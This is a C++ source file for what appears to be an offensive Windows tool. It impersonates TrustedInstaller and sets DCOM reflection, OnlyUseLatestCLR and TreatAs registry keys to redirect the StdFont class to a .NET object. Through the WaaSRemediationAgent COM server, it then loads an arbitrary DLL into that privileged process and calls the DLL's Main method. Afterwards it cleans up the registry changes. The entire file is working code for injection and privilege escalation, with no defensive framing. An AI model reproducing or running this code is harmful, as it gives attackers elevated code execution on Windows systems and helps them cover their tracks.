// main.cpp
#include "com_utils.h"
#include "registry_utils.h"
#include "dotnet_interop.h"
#include "trustinstaller_utils.h"
#include <iostream>
#include <fstream>

constexpr CLSID CLSID_DotNetObject = { 0x81c5fe01,0x027c,0x3e1c,{0x98,0xd5,0xda,0x9c,0x98,0x62,0xaa,0x21} };
constexpr CLSID CLSID_WaaSRemediationAgent = { 0x72566e27,0x1abb,0x4eb3,{0xb4,0xf0,0xeb,0x43,0x1c,0xb1,0xcb,0x32} };

bool InitializeEnvironment() {
    std::cout << "[+] Setting DcomReflection...\n";
    if (!RegistryUtils::SetDcomReflectionEnabled(true)) {
        std::cerr << "[-] Failed to enable DCOM reflection\n";
        return false;
    }

        std::cout << "[+] Setting OnlyUseLatestCLR...\n";
    if (!RegistryUtils::SetOnlyUseLatestCLR(true)) {
        std::cerr << "[-] Failed to set OnlyUseLatestCLR.\n";
        return false;
    }

    std::cout << "[+] Setting treatas...\n";
    if (!RegistryUtils::SetTreatAs(CLSID_StdFont, CLSID_DotNetObject)) {
        std::cerr << "[-] Failed to set TreatAs key\n";
        return false;
    }
    std::cout << "[+] Environment initialized successfully\n";
    return true;
}

bool ExecutePayload(const std::string& dllPath, _bstr_t staticClassName) {
    try {


        IDispatch* pWaasAgent = nullptr;
        HRESULT hr = CoCreateInstance(CLSID_WaaSRemediationAgent, nullptr, CLSCTX_LOCAL_SERVER, IID_IDispatch, reinterpret_cast<void**>(&pWaasAgent));
        if (FAILED(hr)) throw _com_error(hr);
        std::cout << "[+] CoCreateInstance for WaaSRemediationAgent succeeded\n";

        ITypeInfo* pAgentTypeInfo = nullptr;
        hr = pWaasAgent->GetTypeInfo(0, LOCALE_USER_DEFAULT, &pAgentTypeInfo);
        if (FAILED(hr)) {
            std::cerr << "[-] GetTypeInfo failed on pwaas: 0x" << std::hex << hr << '\n';
            pWaasAgent->Release();
            CoUninitialize();
            return false;
        }
        std::cout << "[+] Retrieved type info for WaaSRemediationAgent\n";


        HREFTYPE href = 0;
        hr = pAgentTypeInfo->GetRefTypeOfImplType(0, &href);
        if (FAILED(hr)) {
            std::cerr << "[-] GetRefTypeOfImplType failed: 0x" << std::hex << hr << '\n';
            pAgentTypeInfo->Release();
            pWaasAgent->Release();
            CoUninitialize();
            return false;
        }
        std::cout << "[+] Retrieved reference type for implementation\n";

        ITypeInfo* pBaseTypeInfo = nullptr;
        hr = pAgentTypeInfo->GetRefTypeInfo(href, &pBaseTypeInfo);
        if (FAILED(hr)) {
            std::cerr << "[-] GetRefTypeInfo failed: 0x" << std::hex << hr << '\n';
            pAgentTypeInfo->Release();
            pWaasAgent->Release();
            CoUninitialize();
            return false;
        }
        std::cout << "[+] Retrieved base type info\n";


        COMPtr<ITypeLib> pStdoleTypeLib;
        UINT indexInTypeLib = 0;
        hr = pBaseTypeInfo->GetContainingTypeLib(&pStdoleTypeLib, &indexInTypeLib);
        if (FAILED(hr) || pStdoleTypeLib == nullptr) {
            std::cerr << "[-] GetContainingTypeLib failed: 0x" << std::hex << hr << '\n';
            pBaseTypeInfo->Release();
            pAgentTypeInfo->Release();
            pWaasAgent->Release();
            CoUninitialize();
            return false;
        }
        std::cout << "[+] Retrieved containing type library\n";

        COMPtr<ITypeInfo> pStdFontTypeInfo;
        hr = pStdoleTypeLib->GetTypeInfoOfGuid(CLSID_StdFont, &pStdFontTypeInfo);
        mscorlib::_ObjectPtr pStdFontObj;
        // With:
        hr = pStdFontTypeInfo->CreateInstance(
            nullptr,
            __uuidof(mscorlib::_Object), // Request the .NET _Object interface
            reinterpret_cast<void**>(&pStdFontObj)
        );
        if (FAILED(hr)) {
            std::cerr << "[-] Failed to create .NET object: 0x" << std::hex << hr << '\n';
            throw _com_error(hr);
        }
        std::cout << "[+] Created .NET object\n";

        mscorlib::_TypePtr pType = pStdFontObj->GetType();
        pType = pType->GetType();
        bstr_t targetType = L"System.Type";
        while (pType->FullName != targetType)
        {
            pType = pType->BaseType;
        }
        std::vector<variant_t> getTypeArgs;

        getTypeArgs.emplace_back(L"System.Reflection.Assembly");

        mscorlib::_MethodInfoPtr getTypeMethod = DotNetInterop::GetStaticMethod(pType, L"GetType", 1);
        pType = DotNetInterop::ExecuteMethod<mscorlib::_TypePtr>(getTypeMethod, getTypeArgs);
        if (pType)
        {
            mscorlib::_MethodInfoPtr loadMethod = DotNetInterop::GetStaticMethodLoad(pType, L"Load", 1);
            if (loadMethod)
            {
                // Read DLL into vector
                // Convert to variant_t(byte array)
                std::ifstream file(dllPath, std::ios::binary);
                std::vector<uint8_t> buffer((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
                file.close();
                std::cout << "[+] DLL file read successfully\n";
                // Convert to variant_t (byte array)
                variant_t byteArrayVariant;
                byteArrayVariant.vt = VT_ARRAY | VT_UI1;
                SAFEARRAY* psa = SafeArrayCreateVector(VT_UI1, 0, buffer.size());
                void* pvData;
                SafeArrayAccessData(psa, &pvData);
                memcpy(pvData, buffer.data(), buffer.size());
                SafeArrayUnaccessData(psa);
                byteArrayVariant.parray = psa;

                // Get the correct Load method for byte array
                std::vector<variant_t> args;
                args.push_back(byteArrayVariant);  // Pass the byte array here
                mscorlib::_AssemblyPtr assembly = DotNetInterop::ExecuteMethod<mscorlib::_AssemblyPtr>(loadMethod, args);


                if (assembly)
                {
                    mscorlib::_TypePtr payloadType = assembly->GetType_2(staticClassName);
                    if (!payloadType) {
                        std::cout << "[-] Could not find type " << staticClassName << " in assembly\n";
                        return false;
                    }
                    std::cout << "[+] Found " << staticClassName << " type in assembly\n";

                    mscorlib::_MethodInfoPtr mainMethod = DotNetInterop::GetStaticMethod(payloadType, L"Main", 0);

                    if (mainMethod) {
                        std::vector<variant_t> mainArgs;
                        DotNetInterop::ExecuteMethod<mscorlib::_ObjectPtr>(mainMethod, mainArgs);
                        std::cout << "[+] Executed Main method of InjectedPayload\n";
                    }

                }
                else
                {
                    std::cout << "[-] Failed to load assembly.\n";
                }


            }

        }

        return true;
    }
    catch (const _com_error& e) {
        std::cerr << "[-] COM Error: " << e.ErrorMessage() << '\n';
        std::cerr << "[-] HRESULT: " << std::hex << e.Error() << '\n';
        return false;
    }
}

int main(int argc, char* argv[]) {
    if (argc < 3) {
        std::cerr << "Usage: " << argv[0] << " <DLL Path> <Static Class Name>\n";
        std::cerr << "The static class must contain a 'public static void Main()' method.\n";
        return EXIT_FAILURE;
    }
    std::string dllPath = argv[1];
    _bstr_t staticClassName(argv[2]);
    bool success = true;
    try
    {
        // Call the function to impersonate Trusted Installer
        Elevate::RunAsTrustedInstaller();
        std::cout << "[+] Successfully impersonated Trusted Installer...\n";

        // Initialize COM and the environment
        COMAutoRelease com;
        if (!InitializeEnvironment()) return EXIT_FAILURE;

        // Execute the payload
        success = ExecutePayload(dllPath, staticClassName);

        // Clean up registry settings
        std::cout << "[+] Cleaning up registry settings...\n";
        RegistryUtils::CleanupClsid(CLSID_StdFont);
        RegistryUtils::CleanDcomReflection();
        RegistryUtils::CleanOnlyUseLatestCLR();

    }
    catch (const std::exception& e)
    {
        // Catch any exceptions thrown during the execution of the function
        std::cerr << "Error: " << e.what() << '\n';
        return EXIT_FAILURE;  // Return a non-zero value to indicate an error occurred
    }

    return success ? EXIT_SUCCESS : EXIT_FAILURE;
}